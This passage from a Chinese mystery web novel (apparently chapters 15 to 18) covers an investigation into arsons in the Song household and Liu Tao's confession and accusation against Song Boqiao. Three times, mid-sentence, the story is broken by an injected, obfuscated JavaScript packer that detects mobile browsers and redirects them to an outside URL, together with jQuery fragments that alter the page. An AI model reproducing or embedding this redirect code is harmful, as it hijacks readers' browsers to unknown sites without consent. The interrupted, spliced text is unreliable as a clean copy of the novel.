“但是我还有几点疑惑没想明白。第一,凶手放第二场火迄今已两月有余,宋伯乔反应如此激烈,他就是那目击之人的事早已暴露无疑,怪就怪在过去这么久却不见凶手后续动作。第三场火是刘管事搞的鬼,第四场又是突然发狂的火婴干的,都没有狗叫,依我看可能与此凶手关系不大,那么他是因何至今也不曾有进一步动向?我不认为一个凶恶到能动手杀人的亡命之徒,会放任这样不利的证人存在,况且……” “哎,小麻雀。”叶南扶突然出声打断她的分析,像是猛然间领悟了什么,漆黑的眼眸中光影微动,“你说,后两场火……真的与之毫无关联吗?” 殷烬翎闻言愣了愣,问道:“此言何意?” 叶南扶终于将腿往另一条腿上一搭,恢复了以往的坐姿,也总算终结了殷烬翎内心的吐槽。 他一手支在另一手手背上,撑着下颌,眼里闪着潋滟波光:“不,其实我也没什么确切的推测,只是突然想到了一件事。” “你还记得,刘管事隐瞒了一件事吗?” 叶南扶稍稍歪头,看向殷烬翎:“而且,这是一件比纵火和伪造账目更为严重的事。” 殷烬翎脑中突然闪过一道劈裂天地的惊世雷光,令她不由浑身立起了无数寒栗。 “更严重的,是杀人吧。” 叶南扶闲闲地靠到床边的栏沿上:“当然这只是个猜测,若硬要问缘由,我也只能说,直觉。” 殷烬翎用力摇了摇手:“不不,在这整个案子里,我已经找不到其他更严重的事,可令他这样隐瞒了,没有其他选择余地,往往便是事实,对吧?” 随即她再度陷入了沉思:“可刘管事在宋家早已不止十五年,他应该不会是凶手,倘若这番猜想当真成立,那凶手必然与刘管事有联系。” 叶南扶百无聊赖地踢着脚尖道:“可这宋府里向来由他统理上下,从主家到仆从,哪个人不与他有几分联系?” “也是。”殷烬翎低声呐呐道,又皱眉思索片刻,抬首道,“我刚才的疑点还没说完呢 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“接着是灵槐之死,按宋伯乔所言,他赶到之时小屋已燃起熊熊烈火,可见已经烧了有一会儿了,而凶手却还在屋内与身受重伤的灵槐推推搡搡,这是不是稍微有些奇怪?这个凶手不怕火势大了自己也被困死在屋内嘛?” “最后一点,大公子说灵槐性情温婉,应当不至于和那些喜好点火为乐的火婴一般,那么为何前几日会突然来到宋家,放这第四场火?” “你所言这些,多半都能在宋家此事终结时知晓答案,但剩下那些……”叶南扶耸耸肩,不经意地扫了自己袖子一眼,“大概也只有灵槐她自己知晓了。” 殷烬翎目光在叶南扶袖子上顿了顿,道:“灵槐这状况有办法恢复么?” 叶南扶摊摊手:“天地灵物之所以稀少,是因为他们的修行无法一蹴而就,只能慢慢收纳最纯正的天地灵气凝聚己身,除此之外的一切他人灵力对他们而言都是污浊泥淖,要恢复也只能靠她自己修炼。” “好吧。”殷烬翎撇嘴。 “你今日有何打算?” 闻言,殷烬翎思索片刻道:“我是想着去第一二场火的那两处屋子瞧上一瞧,说不定有指向凶手的线索。” “那你去吧。”叶南扶打着哈欠起身,“我有件迫在眉睫至关重要的事要前去处理一下,就先告辞了。” 殷烬翎眯起眼:“你说的至关重要之事不会是回去睡觉吧?” “怎么会呢。”叶南扶微笑,“你把我想成什么了?我像是这种会在你辛勤查案之时,置身事外只顾着蒙头酣睡的人吗?” 殷烬翎眼神怀疑:“像。” 这才过了几日便以为我忘了不成?你刚来那会儿就闲坐在一旁,看着我和宋季言埋头苦挖也懒得来帮忙,这茬我可还记得清楚!别以为你近日貌似有那么几分改善,我就会觉得你转性了。 “行吧。”叶南扶试图维护形象失败,再次破罐破摔,“你说是,那就是。” “……” 16. 第 16 章 若是不看后续舆论与生意影响,单就火本身造成的直接损失而言,第二场火算是四场火中损伤最少且控制最得当的一个了,起火地邻近水源,火势又小,彼时仆役人数众多,发现及时,处理适时,在它比野外篝火大不了多少的时候就被扑灭了。 但由于前头不久才有过一场火,旧事还尚未平息之时又再生风波,直接便令江南城内谣言四起,加上宋伯乔紧随其后的病倒,本就甚嚣尘上的流言再次被推波助澜,一时间宋家多间铺子生意一落千丈。 虽然多年积累下的家业还不至于让宋家一夕败落,但如此多的商铺亏损,还是令宋老爷一度缩减府内用度,可见这场火造成的损失不可谓不大。 然而当殷烬翎借来铲子锤子锥子等一系列工具,一路拖拖拽拽来到这处起火地仔细一瞧,顿时气成了一只河豚。 这里看上去跟没着过火一样啊!你们要不要修缮得这么美观得体啊!找的哪家木匠石匠这么尽职尽责,把这些原本布满焦痕的木板墙砖补得一点痕迹都没留下!这些工匠是凶手的帮凶吧,把现场重新修建得这么彻底是生怕我查出什么嘛? 等、等一下,虽然我只是随口吐槽两句,但……该不会真是如此吧? 凶手既然潜藏在这宋家府邸里,自然可以在请来工匠修缮受火灾毁损的房屋之时,特意与工匠嘱咐上两句,譬如“老爷吩咐了务必要修得尽善尽美”此类话语,并可假借在旁帮忙,将所有可能不利的证据全数销毁或偷藏带走。 这并不仅仅是一个猜测,毁坏的房屋不可能就这样放着不事修建,工匠也不可能不请,既然如此尽可能请些手艺高超的工匠,将房屋修得宛如崭新一般,又不会因此招致任何怀疑,可以料想凶手如果混在宋府内,必然会采取如此行动,来掩盖自己纵火的痕迹。 “这位姑娘。”殷烬翎抬手拦下一名经过的婢女,“我想问下这里当初负责整修的工匠是谁请来的?” 婢女低眉顺目道:“回道长,府内事务大多皆是刘管事在打理,修葺此等大事向来也是听凭他做主的。” 又是刘管事。殷烬翎心道。 倘若真如叶南扶所料那样,他之后为了隐瞒灵槐案都能再放一把火,要说他此处修整房屋时没趁机掩盖什么,怕是连宋季言都不会信吧。看来过后还得再去拜访一下这位刘管事。 第二场火这里都没什么好搜寻的,第一场火就更别说了。殷烬翎姑且去看了看,也是如出一辙的崭新模样。 不过倒是不必急着回去,在这个宅邸里还有一处可能存在线索的地方。 “劳驾,能领我去厨房后头存放粮油的库房嘛?”殷烬翎对路过婢女道。 “好的,请随奴婢……” “我来给殷姐姐带路吧。” 身后一个青涩稚嫩的声音突然响起,打断了婢女的话。 婢女连忙欠身行礼。 殷烬翎回头一看,宋季言稚气未脱的脸上强作一派平静漠然,语气里却显得生硬非常。 “厨房我比较熟,我来给姐姐带路,你先下去好了。” 宋季言话虽说得镇定自若,可总归有几分气恼和不满,不听使唤地从这语缝里钻出来,显得别扭又有几分可爱。 殷烬翎瞧着忍不住嘴角微微扬了扬,但随即大概想到宋季言是来做什么,顷刻便又落了回去。 婢女施礼告了声退便退下了。 宋季言一言不发地走在了前头,殷烬翎便跟了上去,两人默默无言地行了一路,以往这种彼此沉默的时刻总会引发殷烬翎尴尬的毛病,今次也不例外,但也许是她自己不愿开口,故而这份尴尬并没有平时那么强烈,她便默默忍了。 只是她忍得了,少年心性的宋季言却忍不了。在将将要到厨房的时候,死咬了一路嘴唇、捏了一路衣袍下摆的宋季言终于停了下来,转身看向殷烬翎。 殷烬翎早知道宋季言半途截下这个带路的活,定是有话要说,一直在等他捱不住开口的那一刻,见宋季言总算转过身来,殷烬翎在心底微微松了口气。只是这次叶南扶不在旁边,没人帮她背锅当恶人了,她大概生来便在这方面少一根弦,在人间行走历练再久、脸皮修炼得再厚,她也永远学不会应付这种局面。 “为什么一直躲着我?” 殷烬翎心下叫苦,用力揉着手心的袖子,想着自己这几日是不是做得太明显了,连个十二岁的孩子都看出来自己在躲避与他的交谈。 她努力撑起点笑意:“抱歉啊,我只是……暂时不知道该怎么同你说……” “那我大哥的事,能告诉我吗?”宋季言挣扎着开了口,像是在内心天人交战了很久。 殷烬翎在心里暗暗叹了口气,躲了这许久,该来的还是来了。 她斟酌着开口:“这真不是我故意瞒着你,只是你大哥既然告诉了我,我便得替他保守秘密不外泄,即便你是他亲弟弟也不例外。” 宋季言低下头,从殷烬翎的角度只能看到他紧紧抿着的嘴角,她心惊肉跳地盯着,生怕他突然嘴角一塌就哭了出来,所幸十二岁的小少年总归有几分脸面与骄傲,不能再如孩童一般哭得随心所欲了。 他伫立了半晌,终是抬起头来,看向殷烬翎的眼瞳里一片晶莹在颤动:“那你能否告诉我,大哥他有做什么坏事吗?” 殷烬翎默了默,道:“没有,他什么也没做。” 宋伯乔其人何如?自从殷烬翎知晓了他和灵槐的旧事之后,也并非没有思索过与之类似的问题,只是这样的思考最终也唯有不了了之,徒劳无益。 他做了什么坏事? 不,恰恰相反,他什么也没做,但其实有时什么也不做的人才是最令人气恼的。 因为他没有义务,也因为你无从指责,他本身无可厚非。 自始至终,他也不过是惜命罢了。 出于惜命,未有冲进小屋去救灵槐;出于惜命,将灵槐匆匆掩埋在荒山之下了事;也出于惜命,一直未敢主动去寻出那凶手替灵槐报仇。 惜命真是最令人无法反驳的理由了,那又能怎样,又不是非得舍生忘死才能算得上情深意重。 可他惜命之余却又有不要命的举动,能怕灵槐的怨灵怕得病倒的人,却频频掺和这怪力乱神之事,屡屡欲寻这常人避之不及的妖邪精怪。她思考许久也寻不出一个合适的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709603|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 词来描述宋伯乔其人,只能说是个普通人罢了。 “没有骗我吗?”宋季言不确定地问。 “没骗你。” “你保证?” “我保证。” 宋季言像是瞬间松了一口气,一直憋着的这口气支撑着他来拦住殷烬翎问个清楚,如今悬着的心骤然落地令他一时有些站不稳,他喃喃念了两句:“那就好,那就好……” 殷烬翎突然无比庆幸宋伯乔没有真做什么不当的事,不然单是一个刘管事都能令宋季言跟她关系僵了好几天,宋伯乔作为他最亲近最尊敬的大哥,若当真犯了什么事,不知道宋季言还会如何跟她闹腾呢,想到这她就有些脑壳疼。 “你不是还要去粮油仓吗?走吧。”宋季言转身继续朝前走,步伐肉眼可见的比来时轻快了不少。 殷烬翎也长舒一口气,心想姑且算是过了这一关,连忙上前几步拉住宋季言:“不,我方才虽说的是粮油仓,但实际上想去的是那边上的几个小柴房,只是不知道怎么向人描述才说了粮油仓。” 宋季言一听,顿时缩成了一团,惊恐万分:“你要去那几个小柴房?!” 殷烬翎见他突然这模样愣了愣,随即明白过来:“你还怕躲在厨房后面的那个妖怪呢?” “不然呢!”宋季言冲她呲牙咧嘴扮恐怖状,“那个爪子刨门的声音就是从那几间房子里传来的!我滴龟龟,早知道你要去那里我死都不会揽下这带路的事的!啊对,这里已经很近了,绕过前面那间右转再一直走就到了,我还有学堂的功课没写完就不接着领路了,来日江湖再见!”说罢一转身就要开溜。 这胆小怯懦、遇事逃避原来竟是与宋伯乔一脉相承的么? 殷烬翎无奈地这么想着,一把拎住宋季言的后领子,道:“送佛送到西,就再帮个忙带完最后一程吧。” “不要啊,放过我吧!我还是个孩子啊,看我弱小可怜又无助的样子你忍心吗?” “什么,不要放过你?好啊,走吧。”殷烬翎掏了掏耳朵,装聋作哑。 宋季言哆哆嗦嗦地被殷烬翎提着往柴房那处走了。 - 殷烬翎很快来到了几间小柴房前,此处存放的柴是供给厨房生火用的,叫宋季言借来了钥匙,逐间打开进去搜寻线索,前几间内的柴堆似乎搬走了不少,看起来都有些空空荡荡的,仔细检查后仍一无所获。直至打开最后一间,柴房内塞着大量的柴,几乎快将整间屋子都堆满了。 “得把柴堆都搬开来。”殷烬翎道,“这很明显是有人把前几间的柴木都堆来这里作遮掩了,我们一点一点搬,不要漏过任何细微的证物。季言能来帮个忙吗?” 宋季言起先还打着颤,然而见几间柴房开遍都未有什么妖怪出现,不由胆子大了几分,当下应了声,道:“今日的糕点别忘了给我留。”说着翻了一通,抱起一捆柴就往外出门去。 殷烬翎也提起两大捆柴,翻找过确定没有证物藏匿,正欲转身往外走,只听得背后宋季言一声惊叫,她当即丢下两捆柴奔了过去。 宋季言扑到她身旁扯紧她的袖子,颤声道:“门……门后面!” 17. 第 17 章 殷烬翎略微用余光瞄了眼被宋季言抓着的袖子,不合时宜地想起她在荒山古墓里约莫也是这般扯着叶南扶的袖子,不禁有些赧然,她连忙甩掉这点小心思,安抚了一下惊慌失措的宋季言后,几步上前。 木门正大开着,贴着墙面,殷烬翎拉过木门,发现门背后有数条十分清晰且深刻的印记,类似狗爪印,最深者甚至入木三分,想来宋季言以往在厨房偷食时听到的古怪声音便是这个。 殷烬翎摩挲着门上的爪印,头也不回地问道:“季言,你有没有向旁人问起过,是否也听到类似声响?” “没有。”宋季言声音闷闷的,像是蒙了什么东西在脸上,“我来厨房偷食当然都是趁没人的时候来的啊。而且我后来问过厨房里的厨娘婢女什么的,都说从未听到过。” 这竟像是,专门弄给宋季言听的。殷烬翎心下思忖着,转头往宋季言看去,却发现他头上居然套着个不知哪儿来的布袋,还不敢往这边看过来,顿时把殷烬翎逗乐了,噗嗤一声笑了出来。 看不到发生了什么的宋季言在袋子里声音含糊而焦急地道:“到底发生了什么啊?别光笑不说话啊,有没有妖怪都告诉我一声,我好准备着跑啊!” 殷烬翎一把拎起着他头上的麻袋拿掉,瞧着宋季言闭着眼如临大敌的模样不由笑道:“行了,什么也没有,只是几个爪印而已,用不着慌成这样。” 宋季言微微睁开一只眼朝那里看去,确定了什么都没有才松了口气,但旋即又紧张起来:“它不会躲在这些柴堆里吧?万一我搬开一捆柴,掉出来个什么血肉模糊的尸首我会疯掉的啊啊!” 殷烬翎哭笑不得:“别瞎想了,有我在牛鬼蛇神都得绕着走。”说罢她看了眼手里的麻布袋,疑惑道,“这袋子你哪儿来的?” “就这旁边捡的啊。”宋季言指了指边上一个柴堆。 殷烬翎绕过宋季言,俯下身来一瞧,发现被他扒拉开的一个柴垛底下有个不大的空间,除了她手上这个,里面还放有两三个麻布袋,而且似乎并不是空的,她探手进去取出来一个,掂着还颇有些分量,打开一看,里面放着好几枚锥子长钉之类的工具,她拿了一枚在手里仔细查看,发现顶上尖头似乎有不少磨损的痕迹,一些小缝隙里还卡着细碎的木屑。 看样子,划出门上那些状似爪印的深痕的,便是眼前这一袋子的工具。 她又将剩下的布袋都扯了出来,挨个翻过,都是些诸如锤子铁箍剪刀之类的工具,俱是崭新的,并无使用过的痕迹,而在其中一个布袋里,却发现了一个相当有意思的东西。 一小枚圆润的白玉碎块在这堆粗糙锋利的铁器之间显得格格不入,几乎是立刻便被殷烬翎挑了出来。她捏在手上打量了片刻,尔后擎给宋季言,问:“这个你认得么?” 宋季言一见先是“啊”了一声,接着凑了近来细细辨认一番,迟疑道:“这是……刘叔的东西……” 此言一出,殷烬翎顿时有几分尴尬,宋季言不再与她闹别扭才没一会儿功夫,在他面前提到刘管事,可不又得像上次那般不欢而散了,而且一想到这档子事她便脑壳疼得厉害。 “那个,别担心啊,我也并非是非不分的人,已经接受了这个事实,就不会再无理取闹了。”宋季言见殷烬翎露出苦恼的神色,忙解释道,“不过这个确实是刘叔的,应该是他爱不释手的那个白玉扳指的碎片,他从前惯爱戴在手上,就寝都不曾摘下来,我时常能瞧见,这两日他被父亲关禁闭,我去看他时发现他没再戴着了,问他说是摔在桌案边磕碎了,所以应该错不了。” 这证物看着似乎是刘管事躲在这里划完刻痕收拾工具之时,锥子不慎磕碎了手上的扳指,碎片落进了这布袋中,他虽已将大部分碎块都捞出来了,却仍遗漏了一个,如今被她寻着了。 在先前的接触中,殷烬翎的印象里刘管事应当是一个布局周详、心思缜密之人,一直到最后都不曾找到能证明他纵火的直接证据,最后还是仗着他不识得仙家法术,诈供出来的。 可如今这证物明晃晃摆在她眼底下,像是在冲她高声叫嚣着“对,犯人就是我刘管事!赶紧来将我抓走吧!” 这未免太可笑了些,起先还极力辩解反驳的犯人忽然一口咬定是自己所为。 若在这之前,刘管事在隐瞒杀害灵槐的凶手一事还只是叶南扶的一个猜测,这下可真是将猜测落到实处了。 如今看来,只是隐瞒还轻了,他还为此特意放了把火转移众人视线,甚至还在证物里放上自己特有的东西,企图包揽下所有的罪名,这可不是一般的关系就能办到的。 “刘管事他……可有什么妻子孩子在这府内嘛?” 先前殷烬翎思索第二场火的种种细节之时便有所察觉,第二场火如果只是为了凑足火与狗叫这两个要素从而试探宋大公子的话,无论在何处起的火,起多大的火,都没有什么影响。 但这个凶手偏偏选择了在邻近水源之处放一个势头较小的火,火灾带来的直接损伤也是十分轻微,这不禁令人疑心,这凶手会不会不想让宋家遭受过多财物损失,要么是他在这府内待久了,对宋家生出情谊来了,要么就是他自身与宋家利益息息相关,并不想让这靠山因此倒台。 “有啊。”宋季言几乎是立刻道,“刘婶是我母亲院里的,平日不大接触,倒是那刘家的阿陶哥哥与我相熟,常同我玩在一处。” “能跟我讲讲这个刘陶嘛?” “嗯,他比我大好多岁……好像就比我大哥小两岁的样子,不过听说他不是家生子,原本是跟刘婶一同住在外头的,给人家药铺盘账,那时候刘叔也不过是父亲身边的一个小厮,后来刘叔逐渐做大当了管事,想培养个小管事来分担自己事务,便与父亲提议将阿陶哥哥和刘婶一并接了来。不过这都是我听来的,我那时候还没记事呢。” 与宋伯乔年纪相仿,符合。 入宋家时日少于十五年,也符合。 “阿陶哥哥虽然比我大那么多,但就是与我比较和得来,而且与彻日忙碌的大哥不一样,他的工作只是在刘叔忙不过来的时候帮衬着分担一些,所以经常能得空与我讲些奇闻轶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722161|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。” “那你常来厨房偷食这事儿,他也是知晓的?” “这哪儿瞒的过他啊,有几次正巧撞见了我还帮我支开厨娘呢。这要是换了大哥,准得说上我几句。” 也知道宋季言常来偷食。 这状况,八九不离十了。只是若刘管事一口咬定是自己所为,又当如何? 殷烬翎一边思索,一边拿起一把锥子走到门后,手握着锥子在门背后的划痕上比划了两下,蓦地一愣,尔后轻轻在远侧划了两道,又仔细比对了一遍,微讶地张了片刻的嘴,终于露出了这些日子来第一个舒心畅意、神采飞扬的笑容。 “哎,季言,你那个阿陶哥哥,是个左撇子嘛?” “是啊,他右手好像是受过伤来着,不大好使,你怎么知道?” - 傍晚时分,殷烬翎踏着轻快的步伐,哼着几句不知名的小调推开自己客房的门。 “哟,回来了。” 叶南扶的声音从旁边飘来,慵懒傲慢得像只刚睡醒出来觅食的猫。 殷烬翎见了他,愉快的心情顿时被兜头浇了下一盆冰水,她冷笑一声,阴阳怪气道:“睡饱了?” “嗯。”叶南扶恬不知耻地点头,“睡得可香了,还梦到得到了一大笔钱财。” 殷烬翎额上青筋跳得厉害,这该死的玩意儿,这都过去多久了,还在嘲讽我之前做的发财梦。上天是不是看我过得太安逸了,要给我命里安排个劫难,才派下这么一个对头来搞事。 “行了行了,一边去。”殷烬翎挥手挡开他,“日头都要落了,你不回自己屋里待着去,老赖在我这儿作甚?” 殷烬翎直接下了逐客令,以防他继续在跟前晃着破坏她难得的好心情。 叶南扶侧着身子半躺半靠在椅背上,闻言摇了摇头,道:“你有正事要办,我就没有了吗?” “哦?如果插科打诨、胡吃海喝、蒙头大睡都算正事的话,那你确实还挺忙的。” “呵,肤浅。”叶南扶不屑。 殷烬翎也懒得跟他废话,直接过去拿鞋尖踢踢他:“赶紧起来,滚回自己那儿去,我等下真有正事没闲工夫跟你扯皮。” 叶南扶稳如老狗不动如山:“我也是真有正事,不跟你开玩笑,根正苗红的正事。” 殷烬翎还待说什么,前一瞬还宛如瘫痪的叶南扶却一下直起身来,黑瞳在眼内略微动了动,忽然竖起一根手指贴到唇边做了个噤声的手势,低声道:“正事来了。” 他话音刚落,便有几下叩门声传来,接着是一个明朗的青年声在门外响起:“叨扰殷姑娘了,不知可有闲余听在下几言,不会耽搁姑娘太久。” 是殷烬翎未曾听过的陌生声音,她不由心下起了嘀咕,疑惑地看了叶南扶几眼,后者给她使了个安心的眼神,她这才犹豫地上前去开了门。 门外是一位面目清明利落的青年男子,举手投足甚是彬彬有礼。他先是对着殷烬翎作了一揖,朗声道:“失礼了,殷姑娘,在下刘管事之子刘陶,不知可否容在下进屋一叙。” 18. 第 18 章 殷烬翎大概也猜到了他是谁,当下侧身让开了门,在刘陶进门的时候暗暗瞟了屋内正一脸悠然自得的叶南扶,心道:看样子是他约了刘陶来,可为何刘陶方才说是有话与我说? 刘陶讲究礼数,未得许可便不落座,叶南扶又是个不会招呼人的,只翘着二郎腿一晃一晃地看着刘陶直挺挺立在桌案旁。 殷烬翎有些没眼看,道:“刘公子,请落座吧。” 岂料刘陶竟摇摇头,拒绝道:“不了,多谢姑娘好意,在下站着便可。” 殷烬翎还道是他们这类读书人忒有些古怪讲究,甭管什么东西都要先客气礼让三分,还以为刘陶是在同她客套,再度想要开口招呼他落座。 刘陶似乎是看出了她的意图,又道:“姑娘还是让在下站着吧,毕竟之后要说的话在下也不适宜坐着说。” 言至此,他顿了顿,仿佛是下了什么决心似的,他深深一揖道:“在下,是来自首的。” 此言一出,殷烬翎吃惊地看着刘陶,随即又转首过去看向一旁闲来无事嗑起瓜子的叶南扶,只见他不紧不慢地吐出一片瓜子壳,冲殷烬翎露出一个无懈可击的微笑。 “在下愧对宋老爷于我们刘家的如山恩情,于两月前在湖边堆放杂物的小屋内纵火,致使城内谣言四起,大公子一病至今,宋家生意一蹶不振。” 殷烬翎此时手里其实已然有了足够的证据,原本是打算明日便去寻刘陶对质的,未曾想他竟先一步找上门来,更没想到的是他居然是来自首的,一时间有些愣神,微张着嘴不知当说些什么。 “三月前府里起了场火,彼时在下也参与了救火,那火虽大,但所幸邻近水源,很快便控制住了火势。然而,因起火处与邻家小院仅一墙之隔,在起火的中途,邻家的狗一直不停叫唤,令在下忆起了多年之前的一桩往事。正如是作想时,大公子闻讯匆忙赶来了,然而在听到狗叫的一瞬间,他瞬间变了神色,若说原先是担忧焦急,刹那就面无人色,那惨白如纸的颜色令在下不由起了疑心。” “从前只知大公子极度厌恶狗,府中绝无犬类存在,而那之后从家父口中得知,大公子事后特地为此去与邻家协商将狗尽数迁移走,此时我才知晓大公子对狗并非厌恶,而是惧怕,并且这份惧怕是从十五年前突然开始的,这让我心里又平添几分怀疑。” “实在抵挡不住内心的怀疑与煎熬,我放了第二场火,为了试探大公子的反应,以证实我心底那个呼之欲出的答案。” “我暗地里弄来一只狗,关在了一处偏远的小柴房里,做好详细策划后,我选了一处地方的小屋,先将狗带到附近无人居住的院子里藏好,随后来到那小屋,点燃了屋里堆放的木板,为防止大公子未能及时赶到,我迅速通知了大公子身边的人,很快便许多仆从纷纷赶来此处灭火,大公子自然也来了,听到绝不该出现的狗叫,他顷刻便露出了比上一回恐惧百倍的神色,我在一边看着都觉得,以他这模样即便当场晕过去,也丝毫不令人意外,不过兴许是怕他这一倒下会让还在救火的仆从们慌了阵脚,他到底是撑到火灭都没倒下去,我也是十分讶异。” “这事过后,我迅速送走了狗,但确认了这件事的我却没打算就此罢手。我平日与宋季言较熟络,知道他时常有摸去厨房偷食的举动,而他又与大公子素来亲近,但凡有什么事定然会第一时间跑去告知大公子。于是我设法支开厨房的人,给他制造了机会,果不其然,他马上溜进了厨房,我便在那后头的小柴房里用锥子划门模仿狗爪刨抓的声音,不出一会就见他慌慌张张地逃了出去,第二日便传来了大公子病倒的消息。此后一段时间我故技重施,大公子病情便愈演愈烈迁延至今。” 殷烬翎听完这一番陈述后静默了片刻,道:“那你如今又是为何愿意前来自首?” 刘陶长长一揖到底:“在下有两件事相求。” 正在此时,门外又响起一阵敲门声,以及一个略带迟疑和忧郁的青年男声:“殷姑娘,我按时前来了,可方便进来?” 殷烬翎方才一心只顾着听刘陶的自首,全然忘了自己约了人这一茬,此刻听得这声音一时有些大脑宕机,还没等她反应过来,门外的迟迟等不到回应便推门而入,与刚直起身来的刘陶撞了个脸。 刘陶见到来人,脸上顿时浮现出了滔天的愤恨之色,转首对殷烬翎道:“殷姑娘,这两件事其一,便是将多年前杀害我灵槐姐姐的凶手捉拿归案,此人便是——”说着,一手指向刚进门的人,“宋家大公子,宋伯乔。” 乍然听得此言,不仅是刚进门还没明白屋内情况的宋伯乔大惊失色,就连殷烬翎也忍不住怔愣当场,不过她旋即便反应过来,上前先将宋伯乔拉到稍远的一边。 虽则这刘陶瞧着文质彬彬的,可好歹是个纵过火的人,他看着宋伯乔的眼神恨意刻骨,仿佛下一瞬就能冲上去将人绞死,还是让他们保持些距离为好。 她转过身来冲刘陶问道:“此话怎讲?” “我先前说的那桩旧事,便是发生在十五年前的一件杀人案。彼时我尚不过十四岁,偶然间认识了一位姐姐,受她……裨益良多,她却始终不肯告知我姓甚名谁家住何处,我多处打听探访,好不容易才寻至她在荒山脚下的住处,她见了我全无半分喜悦,却惊慌失措地极力将我赶走,我实在放不下心,半途便回去,岂料才片刻不见,那木屋竟已燃起熊熊大火。” “我当下未及思考便冲了进去,一边呼喊着姐姐一边在火中四处搜寻,发现她倒在地上,我赶忙过去将她扶起,欲将她背在背上往外跑,她却极不配合地挣扎着下来,二话不说便将我往外推,我焦急地去拉她想带她一同走。” “可就在此时,眼见着她目光朝一侧的小窗外瞥了两眼,骤然使出最后的力气猛地将我推了出去,接着高声叫起来:‘跑啊,快跑!’被倒塌下来的横梁挡着,我看不见窗外的情况,但随即便隐约听到屋外飞速远去的脚步声,同样被困在屋内的狗发出撕心裂肺的狂吠声,然而我便在这凄厉嘶嚎之中,不知被掉落下的什么东西砸晕了过去。” “等我醒过来已是好几日之后了,我躺在家中,全身上下烧伤不知凡几,右手也在大火中被倒下的东西砸伤。我特别想托母亲或他人去瞧瞧情况,然而想到当时屋外那个凶手也不知是否还在附近候着,便不敢牵扯旁人进来,待到稍稍能下床走动,我便去了城郊的荒山,底下只有一座孤坟,也不知是何人所立,墓碑上空无一字。直至最后,我都不曾知晓那位姐姐的姓名。” “后来我曾费尽功夫多方探寻,一心只想找出这个凶手替姐姐报仇,但无奈她住得那么偏远,本就鲜少有识得她的人,我连她名字都不曾打听来,更何况什么仇家旧怨了。我这般查了约有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737557|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一年余,最终被母亲劝阻了下来,这才意识到过去一段时日我疯魔一般的四处查探着实令家人担忧,为了安母亲的心,我便试着慢慢放下此事,主动开始读书,后来寻了一家药铺的账房工作,尔后父亲在宋家日渐得了重用,便将我提携进来,我才来了此处。” “然而三月前那场火,那景象令我骤然间重回当年荒山下,那场冲天大火,不知不觉已是十五年,这些年关于那位姐姐的回忆虽有淡化,但我从来不曾忘记她故去那日的光景。然后我一转头,便看到了同样脸色骤变的宋大公子,他情不自禁地喃喃念着一个名字,灵槐,灵槐。” “也不知为何,那一瞬间我便觉得,这或许就是她的名字。整整十五年过去,直至那时我才真正知晓她的名字。” “后来的事你们都知道了,我放了火,证实了大公子便是当时窗外那个凶手,我持续不断地恐吓他,一步一步将宋家逼至如今境地。” 还不待殷烬翎开口,一旁的宋伯乔却先忍不住了,怒道:“你含血喷人!你这个杀害灵槐的凶手,害得宋家败落至此不说,居然还恶人先告状!” “你十五年前的事我可都听我父亲说了。”刘陶面对宋伯乔愤然的指控,连连冷笑道,“荒山脚下那个墓是你让他偷偷找人去埋的吧,号称对姐姐情根深种,却连亲自去为横死的心上人立墓都不敢,我有没有污蔑你自己心里清楚!” “是!我承认我当时怯懦了些,怕被凶手发现,才令刘叔掩人耳目地暗中埋了灵槐,但那又如何,只是因为这样我就成了凶手?” “灵槐姐姐住得如此偏僻,又几乎不与人来往,我查了一年多都没几人识得她,她能有什么仇家?也就只有你与她有交集。就因为她拒绝了你,搬离了宋家,你觉得失了颜面,所以恼羞成怒杀了她!” “可真能说啊!那你呢?你嘴上说着是冲进火里去救灵槐,谁又能担保不是你杀的她?毕竟你和身受重伤的灵槐争执推搡的场面,我这双眼睛可是看得清清楚楚!” “放你的狗屁!”刘陶一向谨守的礼节也顾不上了,忍不住爆了句粗口,抬手一把撩起袖子和裤脚,将光裸的臂膀和小腿示在人前,只见其身上有着多处陈年的烧伤疤痕,如同斑斓可怖的花纹一般缠绕在肢体上。 “若是我杀的她、我点的火,火烧得那么大了还在那儿拉扯,我是吃撑了想早投胎不成?我这许多烧伤,还有残废的右手,都是冲进去救姐姐时留下的,这就是我清白的证明,而你呢?你有什么?!” 刘陶的这一声怒喝令殷烬翎顿时豁然开朗,先前在分析时发现的,小屋火势如此剧烈时这位“凶手”为何还在屋内与灵槐纠缠,这个疑惑在此时得到了解答。 “你当初在屋内听到我飞快逃走了不是吗?我若是凶手,不封堵上出口,也不候在屋外,待你们出来趁机灭口,反而落荒而逃又是什么道理?我就这么放心你不可能将她活着救出来?”宋伯乔激烈地反驳。 